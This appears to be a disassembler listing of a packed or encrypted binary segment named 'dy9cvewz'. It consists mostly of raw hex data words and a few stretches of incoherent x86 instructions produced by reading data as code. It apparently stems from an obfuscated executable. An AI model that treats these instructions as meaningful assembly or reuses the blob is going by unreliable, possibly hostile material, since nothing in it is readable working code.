		dd 202B0CE2h, 91509DAAh, 4FDC0C6Eh, 7E475F7Fh, 406FA4DDh
		dd 0ABB4C1A2h, 8C2F8F42h, 9A06959Dh, 0D93B6D88h, 0FF42955Dh
		dd 83DF520Ah, 0A143C2E8h, 78C2B512h, 0D419F864h, 8DF6AAB7h
		dd 829EED80h, 0E7720DD8h, 1968709h, 27661BB8h, 0D8552748h
		dd 7F95B8C5h, 71B78BF9h, 8C747BFDh, 2E0EB020h, 77795F89h
		dd 9D28C718h, 0C8A7518h, 481F71C0h, 30A634Ah, 5C06080Eh
		dd 81DD31DFh, 0A83981A8h, 85A57F76h, 0C511D9E1h, 0D9F30A30h
		dd 24441C38h, 68C50F26h, 2CA2D7DCh, 10C4C3BCh, 0E404A64Eh
		dd 735002A4h, 5666740h,	51967E4Bh, 85012824h, 80AD10ABh
		dd 0C7424882h, 9E8D2E07h, 201198A1h, 35718F95h,	8AF4AA01h
		dd 0AFFFFCE3h, 2FB57C8Eh, 0A58115CEh, 3C34FC01h, 84776Fh
		dd 8D5B39CEh, 1510A1Fh,	0DC447A47h, 4B16C290h, 254D08A2h
		dd 0F80DE6CAh, 0E7BA5CF7h, 0A15F278Ah, 113A2DAh, 8E20E5Bh
		dd 424F14D5h, 0D3A7A049h, 0F2A2795Ch, 1E8F12C6h, 0CD5B46EDh
		dd 23F8F7FFh, 0F604080Bh, 7CC4BD24h, 5E14FFDCh,	0A2168A1Ah
		dd 796D02CDh, 0D61087AAh, 6C847DC7h, 0AB481071h, 14026B2Bh
		dd 5A676580h, 2C70BEEBh, 5AC7A323h, 73BF4615h, 535A459Fh
		dd 2C0F271h, 775064FFh
		dd 86C17091h, 15B39D73h, 0EBE90E38h, 95632CE9h,	0D668B02Dh
		dd 0D505C480h, 59A4A636h, 0BE3C32ECh, 0C8D820AEh, 1C1B65A2h
		dd 0A090EB43h, 0B621368h, 659D8E08h, 3768DB43h,	8DF9251Fh
		dd 0CDC18E29h, 0A51F89BBh, 0A43559DAh, 4314344Ah, 0F1ED1EEAh
		dd 1010E9F9h, 5F004CEFh, 768C71BBh, 0B7BC0D5Fh,	14BDBC85h
		dd 0AEDC538Ah, 0CC638BC2h, 1C994D45h, 22BB4A69h, 3682080Eh
		dd 0A26B254h, 0CBE5FF0Ah, 0D7723007h, 0B30112C4h, 66A00D9h
		dd 2CF48D60h, 0F4691FEFh, 1A36AF65h, 8F76911Bh,	96AFCB08h
		dd 1C82188h, 9348D29Bh,	0D48D74D4h, 5359185Dh, 56EEF406h
		dd 0E8705004h, 513D2610h, 99B11F40h, 5924EA8Ch,	3709C5CFh
		dd 9C9C4C6Dh, 0DB58929h, 3ECC766h, 0C77055DDh, 0E1B25134h
		dd 0CD550840h, 7782A8FFh, 73158A6Dh, 6210EF98h,	9CF81728h
		dd 2B4CC9A5h, 5E165057h, 70F16044h, 41C0D476h, 298AF795h
		dd 3895D989h, 0D631C758h, 35F4E230h, 0DF0E029Eh, 2D3D93C9h
		dd 2F13E919h, 5F0A662Ch, 3609FFD1h, 0A9CC30A6h,	86F5851Dh
		dd 86A262EBh, 0ABFDAF79h, 5F8AA016h, 0B565374Ch, 1CB82259h
		dd 296E791Ch, 6B2C5356h, 0D6058311h, 64ED635Fh,	91D080EDh
		dd 20F7BEA8h, 0EB303561h, 24E6E2D8h, 9D0F7C18h,	0DAAD32C7h
		dd 6636C2C1h, 17663D74h, 54312E35h, 0B234F04Ah,	63E26B8Ch
		dd 0A0985AE4h, 45A91BDh, 82846D78h, 0E62A28D9h,	0CADE689Dh
		dd 3461D204h, 0B85F3376h, 4B91C89h, 0BB9F2502h,	83ABBC6Ch
		dd 31E22E18h, 0FA2239E4h, 7D49A6BEh, 584C36ACh,	659F6128h
		dd 0BA761F96h, 43AB90C4h, 0A308ED19h, 0C0602A84h, 0A22A3CCBh
		dd 74E0ABB3h, 0C2A96FA9h, 75E02E76h, 0A6C0ADCh,	0D92A5922h
		dd 8EB12D6Eh, 5C42F981h, 5FD2834Dh, 2E26AB43h, 0F806E726h
		dd 0DC4B7A4Ch, 58DDB0A1h, 2D5B6A03h, 372EF21h, 0C0C49829h
		dd 6482C3Bh, 99F9701Ah,	2560F43h, 8B5C9DCFh, 0BDEFA808h
		dd 0CB5667D8h, 29BE41DDh, 0A9EE7153h, 50618E01h, 0D3A9FA09h
		dd 251E9871h, 8B6C098Dh, 8254497h, 0E4035C20h, 4B5AA7Bh
		dd 0DFA48E43h, 0BC0A6114h, 9A113800h, 0B30B9504h, 0BE521D17h
		dd 62CDA905h, 0E346393Bh, 8F0597D9h, 650727F1h,	9476B091h
		dd 64A36A0Bh, 3BA61387h, 0BFC1D1FAh, 40D6A134h,	0E0BB98A0h
		dd 0CEEE8CC7h, 1C30C226h, 0A2AA498Dh, 0C38AFD5Ah, 7595368Ch
		dd 0C7495A30h, 1E945078h, 4DE37C7Eh, 4CFAABB0h,	0CAA84051h
		dd 4856A1E7h, 0D511DBE9h, 67CC3B5Ah, 66253FF6h,	1D82A300h
		dd 844A45C5h, 0C4113E39h, 15531EF8h, 0ECCBDC6Bh, 247244BCh
		dd 322B94C9h, 2D9FA2E4h, 8404A750h, 289087DDh, 56AA5902h
		dd 242D1462h, 0A2D82AD7h, 41E5CFD8h, 60664554h,	5D954BCh
		dd 775B5828h, 83B6C0BCh, 0E65B519Dh, 1E18554Fh,	0C0FB6298h
		dd 2C63CAC9h, 0F684DD30h, 9E895EBDh, 7A441894h,	4FC9E3D2h
		dd 317D1055h, 197A4268h, 9FB35315h, 0D5970AAAh,	5F922AA7h
		dd 3056EBA0h, 0C43D580h, 0B545C72Ah, 9187A953h,	4E3A149Dh
		dd 0D097103Ch, 6A5018ACh, 0C8335D27h, 0FE774905h, 260C528Ch
		dd 0E7751AEBh, 44ADD901h, 0CAAAB440h, 0AA82181Dh, 2F7B9A0Ch
		dd 33E824A5h, 3EF43E4Fh, 68E9C5CEh, 26847E8Ch, 56768B5Fh
		dd 222879A5h, 0C7C707CAh, 0F24BC8D0h, 92D5411Ch, 6FB322E7h
		dd 0A2E63DF3h, 8243A5BAh, 96931A8Eh, 6AEF8EC2h,	5130BF99h
		dd 6C47F1D8h, 39397BB4h, 2E90E0C2h, 0E805AC41h,	340C9553h
		dd 0C9D8F45Ch, 89D4EEE4h, 0D34E60C6h, 3A94F040h, 5657E3ABh
		dd 65DE22A7h, 0F2BB17FEh, 0B7B16402h, 0C5E4B88Ah, 0D48ACE29h
		dd 1CC61981h, 5D572845h, 2B31BBB8h, 0F207BC7Bh,	0F105E095h
		dd 1AEA2DA2h, 0C202A12Bh, 33CD0267h, 3847F9E4h,	35332A8Dh
		dd 0B536EA2Fh, 0DFED2723h, 4F617BA9h, 413BAA80h, 8EB2079Dh
		dd 15150FB8h, 0E02DC8A8h, 0B2EFC7DEh, 3A69173Eh, 267FA02Ch
		dd 0DB09EB43h, 64AA687Eh, 45F03471h, 6FD5157Bh,	0E781784Bh
		dd 0A6A0C5A1h, 925F1D17h, 0D9DEDBA6h, 0CD9398Ch, 8B40481Ah
		dd 0CDA922EAh, 0E9AA7FEh, 0AAB5F552h, 9E4B540Fh, 24A1219Bh
		dd 75ABFD85h, 968A05F4h, 98913182h, 230F87DDh, 0C5955B3Ah
		dd 0EE804148h, 0D2534B5Ah, 0EE5B869Eh, 580F573Eh, 8ABC0934h
		dd 5D55ABA3h, 10D6BE25h, 0B6AA838Ch, 45129D52h,	5749CE8Bh
		dd 2AAD679Eh, 5BD42C8h,	0AA3DE936h, 72050893h, 0EB976397h
		dd 5B18CD8Ch, 60292281h, 424471DBh, 43959036h, 81AA1570h
		dd 2A4F1F94h, 0D608416Fh, 2B4A080Bh, 3DE21ACCh,	58201088h
		dd 1C6CAACh, 392C2047h,	0D453C88Eh, 167F6D5h, 38BBD229h
		dd 6D259662h, 0FA5BE998h, 0DBFF694Ch, 0FC559F47h, 0CBACF085h
		dd 0C9A056EAh, 72B70E67h, 2A34ABF9h, 0C9F80475h, 77030952h
		dd 320B29B5h, 4B2A44CAh, 292093C4h, 96564C80h, 0BC5A5965h
		dd 5B8A5B01h, 389BA515h, 4A89B629h, 4BA514C5h, 0FAE5994Eh
		dd 0C50601C0h, 0E92A421Eh, 5142BD2h, 0A8F3B474h, 0A15A4DAAh
		dd 659A57D4h, 8DFB5CEh,	87B0D178h, 16A85B26h, 0E31007AAh
		dd 0DE832B27h, 8EB9E47Fh, 8827A589h, 660CA896h,	6890E01Ch
		dd 1A3ED9A9h, 0CA3D7E15h, 0C86D164Ah, 0AE8214F5h, 30461380h
		dd 7CD998A6h, 0FAB94B18h, 4B4451B4h, 771C0747h,	2CF2D034h
		dd 3F0DC501h, 56C23BE9h, 0A8C0240Ah, 9C28E973h,	7C0B68FDh
		dd 0ECFCAB41h, 0D0984A5Bh, 0F40053Ch, 742AC6FCh, 715EC3BEh
		dd 361DBD6h, 86A536D6h,	0C60C3257h, 85FAD12h, 0CA17C06Eh
		dd 2136F305h, 54204C7Eh, 0DCB405ABh, 4073DD17h,	0B142A27Bh
		dd 0AF11D697h, 42695D4Dh, 0FA478989h, 526FA2AEh, 750948C5h
		dd 84A5E71Fh, 1270EC50h, 0AD07C898h, 5D3D880Ah,	5643ED50h
		dd 34923453h, 126DBC78h, 94D316A4h, 2BD67F0Ah, 0DD953120h
		dd 96E5D4D5h, 0C5FE04EAh, 14755EBEh, 55C6C8EAh,	626D5599h
		dd 5D33EDE9h, 0EEF22849h, 0EB33DAAEh, 1966BA9Ch, 22F48501h
		dd 4E67A9Ah, 0CE00418Bh, 5C33F6D5h, 48F5AABEh, 0C0E7AA9Fh
		dd 558F1151h, 0ABC27D78h, 83E99378h, 0C0D744BAh, 1A3DA4DFh
		dd 65114E35h, 1A78A5B0h, 3B045C9Ah, 0ED9810DAh,	2B034E7Ah
		dd 1A471952h, 0F0694E8Eh, 93892D57h, 0CDC9CAC0h, 5B0D9A60h
		dd 0ECD16419h, 8139515Ch, 9D52E54Ch, 25A0D8E3h,	0CEC58C14h
		dd 0CE91CC09h, 0D89B05F9h, 0B6A4624Ah, 30ABCBB3h, 470D10F0h
		dd 23B5482Ah, 0AF272DA3h, 35BA9BA2h, 459DE8AAh,	0C5C1E57h
		dd 0F5981595h, 90358DF8h, 904143A2h, 0D9811006h, 0D4D11EEAh
		dd 0F450D4A4h, 43B4514Ch, 8F9067CBh, 82AA2938h,	18814607h
		dd 15672879h, 5085A263h, 0E097F939h, 0C4927F05h, 0B3CCCB72h
		dd 3AF98BC9h, 12DB493Eh, 49E741A3h, 0A8A18108h,	6ABA5FA0h
		dd 0DA06A4ECh, 52B5E68h, 0F82A8B84h, 2C99E3C0h,	91771A83h
		dd 52662882h, 0A0AC7273h, 311A6463h, 713B6E37h,	4A3EB11h
		dd 0C0EE6584h, 23D0E0CCh, 46795DD6h, 0AF8C9415h, 8CC2E637h
		dd 378FD19Dh, 9952330h,	0D4B28520h, 0A9C3D685h,	711323D6h
		dd 1D8040B5h, 9915929Ah, 1FD3AF8Eh, 14AEC22Ch, 0B5A38529h
		dd 22AC30A2h, 6C6B1113h, 55073BCEh, 4B4E3816h, 0CF1C7D03h
		dd 86B27961h, 46CC02C5h, 0DC8B1379h, 0A116409Dh, 0CE7D7164h
		dd 0A0946467h, 1F606736h, 869912E9h, 8E03E56Ch,	3A451B38h
		dd 9825E622h, 291BC1A5h, 635F4F8Eh, 152F408Eh, 174BC691h
		dd 0B82681D0h, 9DB7A749h
		dd 0B1B2DD3Dh, 69622BD4h, 70FCEEFh, 0A37E81F8h,	77B4D2F5h
		dd 0C9107967h, 0BB948174h, 3B158A33h, 1AA5B31h,	9C8270ADh
		dd 9231E906h, 20A42AE9h, 281CC73Dh, 5BA63D57h, 96A8765Ah
		dd 615EA738h, 0DC3C1EFAh, 624601CAh, 32C4FE19h,	15CB5335h
		dd 47945A9Eh, 971AEADCh, 4A401048h, 6DF00AC6h, 0F55F412Fh
		dd 817142EBh, 0C09F0619h, 0D3529EAEh, 9F5E8134h, 281DEEBBh
		dd 693EBC11h, 127F256Fh, 0EDCC47ADh, 59EB7B2Ch,	57DBB313h
		dd 0F6DC2666h, 0E35F8E65h, 0EDD365F6h, 57DB62A8h, 0A0E8F5D0h
		dd 4AF27DD7h, 6A56CBAAh, 1D77FB6Bh, 0A5AFD300h,	228B60A1h
		dd 0B07CF832h, 0C82178F5h, 7986A1F2h, 8832677Eh, 33C90708h
		dd 0D74A413Bh, 9D302561h, 21F001AEh, 9B1B790h, 0D98EECF0h
		dd 1FF17177h, 0BC438ADBh, 0C4F30698h, 8F5E2A02h, 3EC8BDE9h
		dd 0E185795Dh, 157E9A62h, 7D4B303Fh, 1163D291h,	74880CE8h
		dd 8C0F150Ch, 1D84FAE5h, 5804C0Ch, 0C205CED2h, 0E1ED9BEFh
		dd 93ABAEh, 537B7C8Ch, 1FEAA4C4h, 1E610CB7h, 50C30CD8h
		dd 63EB0768h, 0B83114ADh, 11062F8Dh, 0F51615A1h, 9688DBB4h
		dd 7911F622h, 7914CA2Ah, 157E4904h, 0FBCA6FCh, 9387DCC6h
		dd 9E6AA847h, 479C3A8h,	7E45114Ch, 0CE1B39FBh, 44235E52h
		dd 0FF4F091Eh, 0AEB1AC12h, 9828116Dh, 231B4CB5h, 656C10h
		dd 7C0C56Ah, 67E182EBh,	239C8407h, 783114B4h, 0E7F14FE2h
		dd 0D43B8ADh, 51148386h, 7360A8A6h, 9A846567h, 30A5C6EBh
		dd 3CC454C8h, 612AE782h, 0B8093B8Ch, 1E887111h,	6A27A431h
		dd 271F47D1h, 0A030ED17h, 11D6B474h, 8B0E6B87h,	725B822h
		dd 0C95A7643h, 0CA09CA35h, 0F57733FCh, 0C3E01D19h, 8528898Ah
		dd 74D05DF0h, 0D191F2C0h, 7388231Eh, 44F19E79h,	0DF6AE1BBh
		dd 97CA6420h, 8281012Ch, 63A05BC7h, 8D217651h, 8E01AF03h
		dd 81CB1348h, 4B687671h, 7442B1F6h, 0E1E08E01h,	238018C0h
		dd 607244D6h, 88CF5D18h, 470F46Fh, 0C0E723Bh, 0E2DC0BA4h
		dd 5D385C00h, 0AC222380h, 0C02E6072h, 39577011h, 88E0C230h
		dd 181C1137h, 9C441763h, 0A990A708h, 0A02700Bh,	1C02D607h
		dd 39E82721h, 7683EAA0h, 3B89553Ah, 9F4F68D5h, 0E0178B6Ch
		dd 0CC23FB08h, 725D6921h, 0BB51F4Fh, 447D0470h,	11C08C0Eh
		dd 39AE975h, 42312EDAh,	9CC59063h, 0CE072440h, 0A0850208h
		dd 96C54EE1h, 2D03748Ah, 4871CC6Ah, 0BE75B4EDh,	5EFF2B38h
		dd 6781D7DBh, 0E229D67h, 6F9F702Fh, 31A45678h, 999C4B09h
		dd 0E23C5340h, 3898454Ch, 7462751Ch, 74D8C8E5h,	204C6892h
		dd 8458B237h, 0D710A092h, 177h,	0C0002244h, 0D0000001h
		dd 434A0041h, 6000h, 0
; ---------------------------------------------------------------------------
		xchg	eax, esp
		mov	bl, 0CBh
		and	al, al
		mov	edx, 0B2545234h
		dec	eax
		or	[ebx+edx*4-2427BDD0h], dh
		cmp	eax, 5E6EE032h
		adc	[ecx], al
		enter	0FFFF8113h, 85h
		mov	al, ds:21987EEh
		jb	short loc_46A656
		ja	short near ptr loc_46A615+1
		shr	byte ptr [esi+48h], cl

loc_46A615:				; CODE XREF: dy9cvewz:0046A610j
		mov	eax, 0A0E1A87Dh
		and	[ecx+5], al
		xor	ebx, 0E2021C4Eh
		xchg	eax, ebx
		das
		pop	ss
		ror	byte ptr [eax],	cl
		mov	al, ds:0A0E213ACh
		mov	bl, 5Fh
		sub	cl, ch
		fadd	qword ptr [eax]
		and	[ecx+64h], ah
		and	al, dh
		retf
; ---------------------------------------------------------------------------
		db 0BCh, 21h, 0A0h
		dd 0D0D0D302h, 84E26E06h, 12089010h
; ---------------------------------------------------------------------------

loc_46A648:				; CODE XREF: dy9cvewz:0046A68Bj
		pop	esi
		sub	[edi+ebx*2], bh
		add	byte ptr [esi-59337400h], 86h
		push	edx
		adc	bl, bl

loc_46A656:				; CODE XREF: dy9cvewz:0046A60Ej
		adc	ecx, [eax]
		adc	[eax], ah
		pop	ecx
		push	ss
		and	eax, esp
		xor	[ebp+eax*4-7Bh], eax
		cli
		xor	al, 0Ah
		test	[eax+2136EFEh],	bh
		add	ah, [ecx+66h]
		xor	[eax-3FDEE5B5h], bh ; CODE XREF: dy9cvewz:0046A6ACj
		xchg	eax, ebp
		inc	ebx
		lock insd
		sti
		mov	edi, 8700BE43h
		or	ecx, [eax]
		mov	al, ds:90082AB3h
		push	410210A3h
		insb
		loop	loc_46A648
		inc	edx
		daa
		in	eax, 0AEh	; Interrupt Controller #2, 8259A
		or	[edx], al
		jmp	short loc_46A6CA
; ---------------------------------------------------------------------------
		db 29h,	34h, 24h
		db 0A0h, 0F5h, 31h
; ---------------------------------------------------------------------------

loc_46A69B:				; CODE XREF: dy9cvewz:0046A6DFj
		in	al, 80h		; manufacture's diagnostic checkpoint
		db	64h
		loope	near ptr loc_46A6BD+3
		add	eax, 5042B1DBh
		db	64h
		mov	ebx, 0C018540Dh
		cwde
		loopne	near ptr loc_46A66E+1
		shl	byte ptr [edx+esi*4+3CF98187h],	4
		xchg	edi, [ebx+ebp]
		mov	ah, 0BFh
		pusha
		lodsd

loc_46A6BD:				; CODE XREF: dy9cvewz:0046A69Dj
		xor	[eax+50851870h], dh
		push	694A0802h
; ---------------------------------------------------------------------------
		db 18h,	0A0h
; ---------------------------------------------------------------------------

loc_46A6CA:				; CODE XREF: dy9cvewz:0046A693j
		mov	bl, [eax]
		and	[eax], eax
		mov	ds:0E8850679h, al
		int	3		; Trap to Debugger
		adc	al, 2
		ficom	word ptr [edi+5D40184Fh]
		cwde
		and	[eax], esp
		jnp	short loc_46A69B
		sbb	eax, 26446D0Ah
		or	al, 4
		xor	[eax+2Ch], dl
		add	al, 40h
		int	0AFh		; used by BASIC	while in interpreter
		xor	[esi], al
		db	64h
		stos	dword ptr es:[edi]
		inc	edx
		sub	al, 74h
		movsd
		push	cs
		jmp	short loc_46A71B
; ---------------------------------------------------------------------------
		dw 7040h
		dd 0DF21FBE3h, 3845BD1h, 86DD6871h, 878F1C8h, 4C69E041h
		dd 39E5A17Eh, 94818F54h
; ---------------------------------------------------------------------------

loc_46A718:				; CODE XREF: dy9cvewz:0046A73Fj
		adc	bh, 2Bh

loc_46A71B:				; CODE XREF: dy9cvewz:0046A6F8j
		sbb	al, 8Dh
		mov	edx, eax
		and	[ebx], ah
		adc	[eax], bl
		arpl	[ecx], sp
		mov	cl, 0E1h
		retn
; ---------------------------------------------------------------------------
		test	[eax+75DC94A0h], eax
		dec	esp
		and	bh, ah
		mov	dl, 80h
		push	eax
		adc	bh, ch
		xchg	eax, ebx
		adc	bl, al
		sub	byte ptr [ebp-58h], 9Fh
		inc	ebx
		inc	edi
		jmp	short loc_46A718
; ---------------------------------------------------------------------------
		db 8, 6, 6Fh
		dd 290A9B70h, 5EE38383h, 950103B6h, 242D1AE0h, 40ACE480h
		dd 4241F842h, 11550408h, 5CB42C7Ah, 47547069h, 100D8024h
		dd 4046049h, 40D28225h,	522C02Eh, 762DA1A1h, 0FDEBA136h
		dd 0CF0807EBh, 8287DF74h, 211FD42h, 1599B212h, 0FEAA0732h
		dd 4A60647Ch, 4640948h,	58E28300h, 8C1D2842h, 5094A149h
		dd 42D28625h, 0D4A1C94h, 3D288251h, 14A24944h, 0D28A2515h
		dd 4A2C945Dh, 28C25194h, 0A34946D2h, 8E251D4Ah,	3CD48F7Ah
		dd 0F95411A0h, 0E5808495h, 22695752h, 0BCA5954Bh, 6297352Fh
		dd 4C13FFE4h, 0BFF30082h, 420233D4h, 0A96959D2h, 0C1A4C029h
		dd 7698D008h, 0ECEA2021h, 3AC221DFh, 0D621EAFDh, 0A139DA95h
		dd 6206FD45h, 0C2C3D784h, 610CAD30h, 0E758AC36h, 49014B61h
		dd 2B7D8CB5h, 0D2D25ADCh, 87B22142h, 23432A10h,	1A098008h
		dd 818F152Dh, 0B808D400h, 0C7D89C52h, 1E846254h, 9973BA5Ch
		dd 0AD36EB3Ch, 80BDBC91h, 51140242h, 20697613h,	0C2C2A0C3h
		dd 15C2DE68h, 0C0B3D803h, 475B3065h, 82AB6EB5h,	93B7DDCAh
		dd 482CB78Bh, 194B833Bh, 844C040Eh, 0EE66D30Ah,	7C27EC10h
		dd 93382305h, 0C108C03h, 0A7FE0E45h, 1D30163Bh,	9DB7C101h
		dd 611E58A1h, 24105C9Ch, 6482453Bh, 0C1741C09h,	0C5D40420h
		dd 30281C12h, 0B0683C2h, 2130A85Ch, 321B0E87h, 0C4223128h
		dd 9C522B16h, 8BC62331h, 0A8DC723Bh, 1E8FC824h,	32291C92h
		dd 4B2693CAh, 2532A95Ch, 0B25B2E97h, 0CC263329h, 9CD26B36h
		dd 9BCE2733h, 0A9DCF27Bh, 3E9FD028h, 342A1D12h,	8B46A3D2h
		dd 2934AA5Dh, 329B4EA7h, 0D42A352Ah, 9D52AB56h,	0ABD62B35h
		dd 0AADD72BBh, 5EAFD82Ch, 362B1D92h, 0CB66B3DAh, 2D36AB5Dh
		dd 0B2DADEC5h, 0C2E37250h, 68BADDAEh, 0F78BCDEAh, 0F77CBEDFh
		dd 0AFEA6A0Dh, 19516DD6h, 3B784A54h, 0AA8625Dh,	0BDC8106h
		dd 9745A953h, 8A532673h, 297510B1h, 222918B2h, 0B103946Bh
		dd 65CCA193h, 64808AA6h, 5EE95651h, 0C0BA819Dh,	1D1EA0A9h
		dd 0A681E528h, 22A2F175h, 22780265h, 24410EDCh,	7C1B0E2Dh
		dd 0D0851C45h, 0A20A0D00h, 404E0462h, 9450048h,	2A24D660h
		dd 0A76014F2h, 9C19AC2h, 830119BCh, 0C0955CD2h,	8CB48091h
		dd 0D442D60Bh, 41300502h, 4BC5C098h, 2C20225h, 0C300B124h
		dd 8A00481Fh, 2C805BEEh, 545BC29Eh, 0E540BB41h,	965B9920h
		dd 40B69532h, 90D604Bh,	0AC83D044h, 0DA9324F4h,	48AAB54Ah
		dd 34B670C1h, 14C66D4Ch, 0A2829D3Ah, 9343A7D1h,	0B2E575h
		dd 6E92D36Dh, 0B2AC401Ah, 10826E4Eh, 90D85215h,	4A653EA6h
		dd 4984803Eh, 2276934Eh, 0A3A3CA12h, 14FA6D04h,	13184B2Ah
		dd 53698295h, 20125056h, 662C3702h, 56CB4ADBh, 0EC76D062h
		dd 0E656DA56h, 0C82D8541h, 86E8A270h, 76E0556Bh, 0B16BA1C0h
		dd 60CDA017h, 2864D9F1h, 332C472h, 0C24EF264h, 0C29390A8h
		dd 29025D2Dh, 8765D0AAh, 81634208h, 0E009012h, 64B140Ch
		dd 0B65EE938h, 0B813BA81h, 0E05E0348h, 505B4B59h, 9AF62EDFh
		dd 30888169h, 0B0939735h, 76350612h, 425B20A0h,	0B43B9751h
		dd 71A6B6C9h, 4C1856A3h, 0ACCD945Bh, 4636D22Bh,	3A00C87h
		dd 2C4D021Ah, 0B25D5C55h, 42825B76h, 0B2B13008h, 0E300E39h
		dd 17A17F85h, 55030814h, 2C8D2696h, 50E92762h, 0BAD9C104h
		dd 0A5E6DE1Dh, 8D59A4B8h, 0F5247302h, 0B5A802A0h, 400A96BBh
		dd 28BCB67Ah, 5C835162h, 122DF6h, 61787858h, 1B650AA6h
		dd 94496A0Dh, 4C5A5400h, 14282512h, 0F3862E52h,	969F1429h
		dd 0C895354h, 6585A55Ch, 34E7D975h, 6C6FD80h, 341DE882h
		dd 514DB0DAh, 5BF31BE1h, 264896EBh, 78CE5940h, 51A7CB42h
		dd 86C5C144h, 0E0E285ECh, 0F4445543h, 1D9430D2h, 629F37E2h
		dd 0D6552F72h, 0A55451C3h, 0D1AD60h, 0EC150972h, 820EE34Eh
		dd 284D104Ah, 9A811987h, 2C8C414Ch, 0A7088DF6h,	586C56CBh
		dd 2B41FCD0h, 40A03576h, 514DDB9h, 37AEF692h, 8A5C7CC7h
		dd 18513594h, 572C8C70h, 0FD3544B8h, 5D5BFABBh,	5A4B5D0Ch
		dd 8442942Eh, 2994814Eh, 14534660h, 76AF8561h, 0A72D897Ah
		dd 85300EB6h, 0E8DC68CCh, 0D319CB7h, 0C784EE06h, 0EA9D8C5h
		dd 106C850h, 740EB167h,	4E130470h, 252C6269h, 6450699Ch
		dd 0AC7824A6h, 0E9F5B567h, 78762D17h, 20AC3AB0h, 325AD8C3h
		dd 45063718h, 0D626D701h, 30BD28A7h, 9E39EBF0h,	465C6EABh
		dd 34CB7h, 35527397h, 1B2604C5h, 9A438B5Eh, 0B3ACA78h
		dd 22DDF03Ah, 13B9A882h, 9772AE79h, 0AEE36244h,	0A729AC08h
		dd 8A5B4159h, 6D020BA0h, 5C8594E1h, 358C94B3h, 0DD429AE6h
		dd 0CB0D3244h, 0B33D8A5Dh, 171CD806h, 0D077BDAh, 0F2D74C00h
		dd 94D6B206h, 114AE2CCh, 0B15636Dh, 0BCD43959h,	250216A6h
		dd 3DDAC145h, 0A0B9970h, 2119E5Ch, 2F2CE0Ah, 96D73600h
		dd 85BAAE59h, 34F87058h, 0CEA2A93Eh, 9210B8A8h,	31393A90h
		dd 2E3FE9F0h, 0BFB045FFh, 4CF03085h, 205CA854h,	0D0712Ah
		dd 143C0021h, 2A658613h, 95F2A4DCh, 4047E360h, 0A168A1A9h
		dd 636B3F3Fh, 0C70A3F6Eh, 0D2C05822h, 0C0A91C16h, 22A4A973h
		dd 224ED204h, 0A39164Bh, 306B2807h, 125C2094h, 292D26C1h
		dd 0AC212C0h, 0AB32D31h, 98350793h, 0FB087B04h,	90830028h
		dd 7659C048h, 28C3048Ah, 88C5DC8Dh, 0C76F4023h,	0BC5E9831h
		dd 3B55EB86h, 742C97ADh, 1E601555h, 4903016Dh, 28458EA2h
		dd 0BD485E82h, 180B5308h, 8BD104DBh, 28F4051h, 7E8823D8h
		dd 247A048Bh, 0F4413A40h, 0B012BBB5h, 0A13D5202h, 0C0584917h
		dd 0E580B63Eh, 0C0590245h, 0F9602718h, 0BF4700Bh, 0F802A289h
		dd 30728551h, 0E80B00BAh, 0CC61A409h, 809DE100h, 612D092Ah
		dd 8CE980C0h, 0E0B0784Ch, 2E1B0F88h, 0C4E2B178h, 0CC6E3B1Fh
		dd 90C8E4B2h, 794CAE5Bh, 2F98CCE6h, 0B379CCEEh,	7B3FA0D0h
		dd 0E8B47A4Dh, 2E9B4FA8h, 0D4EAB57Ah, 0CD6EBB5Fh, 0B0D8ECB6h
		dd 7B4DAEDBh, 6FB8DCEEh, 0B77BCDEEh, 0FB7FC0E0h, 0F0B87C4Eh
		dd 2F1B8FC8h, 0E4F2B97Ch, 0CE6F3B9Fh, 0D0E8F4BAh, 7D4EAF5Bh
		dd 0AFD8ECF6h, 0BB7DCEEFh, 7BBFE0F0h, 0F8BC7E4Fh, 2F9BCFE8h
		dd 0F67AF39Ah, 0DF6FBBDFh, 0F0F8FCBEh, 7F4FAFDBh, 0EFF8FCFEh
		dd 0BF7FCFEFh, 0FBFEAA64h, 0AAA2A953h, 0ACAA64AEh, 8A006EF6h
		dd 751D1A03h, 77B3D2D5h, 201DD15Ch, 49FE6207h, 0C5203D53h
		dd 3F2D45EAh, 4129D5B4h, 914B9AF2h, 0A2590016h,	5920A6A4h
		dd 5809AF20h, 0A440C25h, 0E81432E8h, 0C89503A8h, 5040455Ch
		dd 0D8154D81h, 5CD34234h, 0EB7DD983h, 1A9EAA1Fh, 5D535Eh
		dd 6A185528h, 375B3935h, 9C4020A5h, 17B60898h, 105BACA8h
		dd 941B85C9h, 7BB529B6h, 13363B42h, 546B2D88h, 0D5D5D333h
		dd 29466DC0h, 5E342304h, 2C42A426h, 42442241h, 0C3791121h
		dd 20F20D2h, 902B74Bh, 0A9FB2161h, 13A30BE0h, 15D52D00h
		dd 9973614Ah, 0AF65343Eh, 8C1B552Eh, 0AC14536Dh, 0F6E047A9h
		dd 0DD582211h, 0F20E20h, 0C20A2092h, 8223495h, 50D54A1Dh
		dd 0C80A5FA8h, 0A99B7EAh, 0B4A08781h, 0BB8192D4h, 33612974h
		dd 171B5B7Dh, 3416C5Dh,	20578E6h, 590032h, 5B6E06ECh, 0AF95853Eh
		dd 0C56A0C93h, 14C5DADEh, 2B729383h, 9DB15C27h,	0BD22D21h
		dd 0A0A0525Eh, 4DB7A87Ch, 0C0BC5C18h, 7E080A13h, 0E63CC4A5h
		dd 6E41217h, 993B0A38h,	0C5F8AF0Ch, 8515AE8Ah, 0A5E4F595h
		dd 915EB02Ah
		dd 0D3E8AA44h, 8110D6A3h, 0F3C759D4h, 638B83C5h, 82DAA1C8h
		dd 4CEBF301h, 762B6311h, 62C56E17h, 9570374Bh, 49669A99h
		dd 24B03124h, 62C4FCB6h, 0CC54F8C5h, 98CA1AD6h,	4BC8F85Bh
		dd 5A4E552Eh, 0F2C85D89h, 99F8C664h, 81891156h,	0B259879Ah
		dd 0C072D061h, 0A4DD462Ch, 0E6B9F650h, 4151A51Eh, 6E0F1438h
		dd 566505E5h, 3E438E17h, 0FDF0096h, 0AC0895BAh,	0E8582920h
		dd 5CD56F21h, 920620D1h, 87BAC0B1h, 0B8DEA2B8h,	0E973316h
		dd 70416426h, 0E13AB31h, 17702653h, 73AED665h, 5BE11A1Fh
		dd 66496624h, 70106A55h, 425491F2h, 0A2D20042h,	0EB641E80h
		dd 9470E41Ah, 0C2632B60h, 507959A4h, 1E51C171h,	4D87C628h
		dd 0C50FDD94h, 8CD9640Dh, 65783F2Ch, 866E6A11h,	0B8A3A875h
		dd 6885C53Ch, 1D94C055h, 14B8552Eh, 6A19C4CEh, 28E78AB4h
